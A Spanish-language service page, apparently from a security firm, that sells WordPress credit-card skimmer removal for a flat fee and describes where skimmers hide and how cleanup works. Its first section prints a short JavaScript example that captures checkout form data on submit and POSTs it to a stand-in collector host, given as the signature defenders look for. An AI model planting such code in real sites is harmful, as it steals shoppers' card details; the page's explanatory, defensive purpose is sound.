WordPress credit card skimmer removal.

§ 01 — MECANISMO

Unas pocas líneas de JavaScript bastan para robar cada pedido.

Un skimmer de tarjeta es un pequeño JavaScript que escucha su formulario de checkout. Cada vez que un cliente teclea su número, el skimmer hace una copia y la envía a una dirección que controla el atacante — normalmente un servidor que parece inocente desde fuera.

La página sigue funcionando. El pedido se completa. Ni el cliente ni usted ven nada raro. Reproducimos el pedido en un sandbox, rastreamos el script hasta donde vive en su sitio y lo eliminamos sin romper el resto del checkout.

01 document.querySelector('form.checkout').addEventListener('submit', function (e) {
02   const data = new FormData(e.target);
03   fetch('https://collector.example/c', {
04     method: 'POST', body: data, mode: 'no-cors'
05   });
06 });
07
08 // A fetch to an external host on form submit is the signature.

§ 02 — QUÉ ELIMINAMOS

Cada lugar donde se esconde esta infección.

• [ TRIAGE DE PLUGINS ]

  Realizamos un pedido de prueba en sandbox y observamos cada llamada de red del checkout.

• [ JAVASCRIPT ]

  Archivos de tema, assets de plugins y scripts inline revisados. Cualquier cosa que envíe datos de formulario fuera del dominio — eliminada.

• [ BASE DE DATOS ]

  Scripts inyectados en wp_options, wp_posts y widgets activos — purgados. Persistencia eliminada.

• [ SERVICIOS ]

  Puertas traseras PHP que reinstalan el skimmer rastreadas. Tareas cron y must-use plugins revisados.

• [ CRONOLOGÍA ]

  Se establecen las fechas de primera y última detección para saber qué pedidos quedaron expuestos.

• [ INFORME ]

  Informe forense en lenguaje claro, apto para clientes, aseguradoras o tu propio archivo.

§ PRECIOS

Tarifa plana $279. Pago único. Por sitio.